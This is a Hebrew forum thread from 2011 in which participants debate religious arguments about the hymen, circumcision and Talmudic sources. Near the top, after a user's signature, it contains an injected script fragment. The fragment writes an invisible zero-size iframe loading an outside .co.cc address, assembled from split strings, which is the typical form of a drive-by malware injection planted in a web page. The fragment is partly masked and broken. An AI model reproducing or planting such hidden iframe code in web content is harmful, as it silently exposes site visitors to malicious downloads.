צבי ינאי - באמת לא מבין, או עושה את עצמו?

__** הושלמו כמה מילים להבהרת כוונתי **_______________

שומר פיו ולשונו - שומר מצרות נפשו ******* type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*");

תוקן על ידי מיימוני ב- 25/09/2011 15:09:54

ייתכן, כתבת שהדת היא זו שאומרת לדעתי אם אלהים ברא את העולם הוא וכו', וזו טעות. הדת לא אומרת זאת, הדת טוענת שאלהים התגלה ואמר זאת. היא יכולה להסביר את ההגיון שבדבר, אבל לא טוענת שמכח חשיבה טהורה ומופשטת יש להגיע למסקנה שנקודה שחורה על אתרוג פוסלת אותו (מכיון שמסתבר שהבורא רוצה שיזכרו את יציאת מצרים ושישמחו עם אתרוגים ושאתרוג עם נקודה לא יפה).

המתווכחים עם הדת טוענים (הרבה פעמים או בדרך כלל) שאם אלהים קיים, חייב להיות שהוא לא יעשה כך וכך, או שחייב להיות שהוא כן יעשה כך וכך, וכתוצאה מהנחות אלו מכריזים שאו הכל או לא כלום, או שיש אלהים שעושה מה שנראה לי כרגע הגיוני, או שאין כלום.

אני לא אמרתי שלדעתי יש ללמוד מקרום הבתולין, רק הבאתי דוגמא קיצונית של לימוד מהטבע. יש כאלו שחושבים שהאל יצר אותו כדי ללמד את הבתולה משהו. אף אחד לא יכול להגיד שאיברי המין לא מתוכננים היטב למלאכתם. לפיכך מניחים שגם לקרום זה יש תפקיד.

ולגבי הערלה, מדוע לא שאלת מה עם לקט שכחה ופאה, האם הם מיותרים? הבתולים היא קרום שבדרך הטבע חייבים לחתוך אותו, ונראה כאילו הוא הגנה סמלית. הוא כמו בריאה מיותרת. עם הערלה אפשר לחיות עד מאה ועשרים, מה אכפת לך שה' ציוה שהישראלים יחתכו? האם חייב להיות שכל מצוה מעוגנת במשהו טבעי?

הערלה אינה ענין ששייך לכלל באי העולם, היא רק סמל פנימי של עם ישראל, היא לא כמו הבתולים שהוא דבר שצריך לחתכו. דוקא משום שאפשר להסתדר עם הערלה מצוין, ויש אומרים שאפילו מסתדרים איתה יותר טוב, הישראלים חותכים משהו בתחום, כדי להיות קצת פחות מכולם. הרי גם הבתולים נועדו שיחתכו אותם, כל השאלה היא מי ומתי.. כך הערלה היא בחירה של הישראלי להרחיק את עצמו הרחקה נוספת בתחום הקדושה. ומטילה איפול ריחוק ומיאוס על מקרה של בת ישראל המתקרבת לאדם "אשר לו ערלה".

צענערענע

לא ברור מדוע את מביכה את עצמך פעם אחר פעם, לגבי השקר האחרון שלך כאן, כתבת שכשיהיה לך פנאי תסבירי את עצמך. מסתבר שאת מאד עסוקה ועדיין לא קיבלנו את ההסבר, אבל מצאת פנאי להעתיק שוב משהו מבלי להבין. מכיון שאין לי התמחות באילוף תוכים, אין לי את האפשרות להסביר לך שוב ושוב. כמו שאמרה המשוררת 'זה קצת כמו לאלף חתול'.

כתבת "על תפקידו של קרום הבתולים ניתן לקרוא כאן", משתמע כאילו נאמר שם איזה שהוא תיפקוד ידוע שיש לקרום הבתולים. בפועל מדובר במאמר של בלדד השוחי, בלוגן אנונימי שמחפש בגוגל בשביל עצלנים ששולחים אליו שאלות ואין להם כח לגגל לבד (כמובן שהמאמר מובא בויקיפדיה). מה שהוא כותב שהוא שמע על "השערות די פרועות", כגון: גברים מעדיפים נשים בתולות, לכן שרדו הנשים שהוכיחו את בתוליהן, וכל השאר פשוט לא מצאו זיווג. השערה שניה "מגוחכת רק קצת פחות מקודמתה" שמטרת קרום הבתולין להקשות על נקבת האדם את יחסי המין לבל תיחפז. אך מסקנתו של בלדד השוחי שההשערות האלו שגויות שכן קרום הבתולין נמצא גם אצל סוסות ולויתנות. לכן הסיבה היא "הגוף האנושי נהדר אבל לא מושלם". כלומר, הקישור שלך שגוי, המאמר לא מביא מידע "על תפקידו של קרום הבתולים" אלא גם הוא קובע שאין ידוע לנו תפקידו של קרום הבתולים.

מסקנה: במאמר שלינקקת, אין שום מידע על תפקידו של קרום הבתולים, יש רק הכרזה שהגוף לא מושלם. לפיכך מי שמאמין בקיומו של בורא (להזכירך, עליו דיברנו כאן) ייתכן שיעדיף לחשוב שאין זו טעות בייצור, אלא משהו בכוונה תחילה.

השימוש האינפנטילי התדיר שלך במושג הנדוש 'מחבתים' כל אימת שמישהו מעלה טיעון שאינו תומך בכפירה או ברבי מליובביטש באופן ישיר, מתאים לרמה של כיתה א', וזה בהחלט יפה, כי התוכן של דברייך הרבה מתחת לכתה א'. כתבתי בצורה ברורה פעמיים שאני איני חושב שיש אפשרות להסיק מסקנה מן הטבע, רק הדגמתי את השיטה שנקראת לימוד מן הטבע, בדוגמה קיצונית. הלימוד מהטבע של רוח האדם (מצפון) פחות קיצוני, אבל הלימוד מהבתולים בהחלט נחשב לקיצוני. בכל מקרה אין שום קשר ל'מחבתים', יש הרבה דעות פילוסופיות ותיאוסופיות, אע"פ שאצלך העולם מתחלק לשני חלקים: מחבתים, ומה שכתוב בגוגל (בעברית).

לגבי טענתך שקיומו של קרום הבתולים בבעלי חיים, מפריך דעה זו. אני לא בטוח בכך, אבל זו הסיבה שהסתייגתי מדעה זו לעיל, ואוסיף שגם המחזור הנקבי נמצא אצל חלק מהיונקים. אעפ"כ איני בטוח בכך, משום שאין ויכוח שלבעלי החיים ולבני האדם יש מבנה גנטי שוה מבחינה שיטתית, הם מיוסדים על אותה שיטה גנטית. מה שמאפשר באופן תיאורטי להשוות או אף להעביר מקטעים מעכבר לאדם. בעלי החיים הם בבואה של האדם, וכשם שהקוף דומה ביותר לאדם, לא מפני שיש לו תפקיד שונה מהמקק או החידק, אלא מפני שבסולם היצורים הוא הדומה לאדם. כך גם הדמיון הפיזי בנושא הבתולים אינו מחייב מטרה ספציפית אצל הקוף. האדם הוא נזר הבריאה, וכשם שהיכולת לשבת וללכת ולדבר נבראה עבורו, ואין לשאול אם התוכי יודע לדבר – זה מוכיח שאין לאדם מדרגת 'מדבר' והדיבור לא נברא עבור האדם, או אם הקוף יודע ללכת – זה מוכיח שאין ההליכה תכונה שנועדה לאדם מתוך תכנית (כך לפי חכמים אפשר ללמוד צניעות מחתול וגזל מנמלה וכו', האם זה אומר שהמצפון האנושי אינו אומר כלום, שהרי גם לבעלי חיים יש תכונות שנראות מוסריות). ישנה עוד דרך להסביר ענין זה ('מאגר גנטי'), אלא שאין לי מוטיבציה להיכנס כאן לנושא שלא קשור כלל. מדובר בתיאוסופיה, מי שטעים לו אוכל את זה, ומי שלא לא. כמו בעסקים או בצבא או במודיעין. לא מתמטיקה.

ייתכן

אתה עובר לתחום ההתגלות. אבל אני מקוה שבזה סגרנו את המשמעות של ההכרה בכך שהעולם אינו רק חומר, ושישנה ישות אחראית. וכל השאלה היא האם באמת יש לה ענין בעולם או לאו.

-בנוגע להוכחה ההיסטורית להתגלות, הארכתי רבות בפורום זה, ויכוחים של מאות הודעות, ועוד כמה מאות בפורום שלי, לא ממש מתעלף לחזור שוב על הכל כשכל אחד יבקש. אבל אוכל להסביר את העקרון בקצרה.

-כשמדובר על 'המתווכחים עם הדת' לא מדובר באיש קש, אלא בויכוח הקיים בפועל, בדוקינס שהוא אלוף בלהכתיב מה אלהים היה עושה אם הוא היה, בכל הספרות או המאמרים ברשת נמצאים הטיעונים האלו, נראה לי שגם בדברים שלך מצאתי כמה וכמה כאלו. ולא אטעה אם גם אתה מדבר על הדת ומתייחס למה שכתוב בספרות הפופולארית שלה.

-מה שכתבת שמדובר במתכנן עם תבונה מוגבלת – זו טעות, אתה מניח שהוא היה רוצה שיהיה יותר טוב ולא הצליח, אבל זה בדיוק מה שאתה לא יודע. אולי הוא רצה ליצור זירה שתנהל את עצמה במדה מסויימת. אולי זה ניסוי מדעי שלו (לא במובן המדוייק), אולי זו זירה שלו (כמו הזירה הרומאית, בה מביאים ).

-בנוגע לדבריך על הדרך המשונה לקיום המינים, או שלא חשבת על כך מספיק, או שאינך מתמצא מספיק בתחום. כדאי לך לחשוב על כך עוד קצת. בכל אופן לפי האבולוציה הדרך שנוצרה חייבת להיות הדרך הטובה ביותר לקיום, כי זה הגורם היחידי להשתמרות שינויים.

-הקשר בין הערלה ללקט שכחה ופאה, בא להדגים לך שעשית קפיצה לוגית. הטיעון שהבאתי הוא שהבריאה מתוכננת, ולכן אם יש משהו שנראה מיותר, ייתכן שיש לו מטרה לימודית. מכאן לא נגזר שאם הבריאה מתוכננת הרי שאין לחתוך ממנה, המילה, בדיוק כמו לקט שכחה ופאה, ועוד הרבה מצוות, הוא חלק מצורת חיים של קדושה, בה האדם לא אוכל כל שביכלתו, אלא מפריש בכל תחום חלק לענין רוחני. וגם על חלק מגופו, שגורם לו הנאה, הוא מוותר, בכדי לסמל בעצמו את חותם העבדות של הבורא. הסיבה הרצינית והמשמעותית היא ציווי הבורא. והחסרון היחידי של מילת נשים הוא שהבורא לא ציווה על כך. (הסיבה שהחוק אוסר זאת, אני משער, משום שמילת נשים מונעת מהאשה לחוות תענוג מיני, ואין להניח שכשתגדל היא תרצה בזאת. ואילו מילת גברים, למרות ההבדל הסמלי ברמת העונג, הוכחה כבריאה, שכן הערלה צוברת זיהומים, וישנה שכיחות גבוהה בהרבה של מחלות מין).

רשויות החוק אינן מודאגות מכל מיני ניתוחים אחרים הנעשים בתינוקות, בהנחה שזה יהיה רצונם כשיגדלו. ונעשים הרבה ניתוחים כאלו. המונח 'אנדרוגינוס' שהיה מוכר בימי חז"ל, אינו מוכר בזמננו, מכיון שההורים חותמים על ניתוח שיהפוך את היצור לחד מיני, ולא חוששים שמא יעדיף להיות דו מיני. כמו כן לא שמעתי שמישהו מוטרד מפירסינג בלשון או באיברי המין ושאר מקומות רגישים..

מה שמחוץ לציווי הדת לא נתפס כשטות בהכרח, אבל מה שציווה הבורא נעשה גם אם אין מבינים. ואילו מה שלא ציוה עלינו למדוד בהגיון שלנו. הירושלמי על החיוב ליהנות... נו באמת, הירושלמי מדבר על הנאה מותרת, ולא על משהו בניגוד לציווי התורה. כמו כן אין הירושלמי מתכוין שיש חובה ללכת לחפש סוג של יין שעדיין לא שתית, אלא שאין למנוע בכוונה משהו שבהישג ידך.

פרזנט

אני רואה שאתה נהנה מהעיסוק בדבר טפל שלא הובא אלא להדגים משהו, זה לא מתאים לך, אבל זה מתאים מאד לטרחנים אחרים המצויים פה.. הטחורים אינם חלק מהבריאה אלא מחלה ופגם.

גם אם נניח שזה הפירוש המקורי של מחיר כלב (יש מי שמפרש שהכוונה לזונה ממין זכר, והכינוי כלב הוא על שם התנוחה המצויה, או משום שאצל הכלבים שכיחה הו"ס). אין זה אומר שיש קשר לעבודת ה', בדיוק כמו שאין להוכיח מכאן שהזנות מותרת ורצויה, מדובר על איסור נוסף שאוסר לחבר בין כסף שהגיע ממקום טמא למקדש. ולא שזנות פולחנית היתה חלק מהפולחן העברי הקדום.

תוקן על ידי thepresent ב- 25/09/2011 22:05:57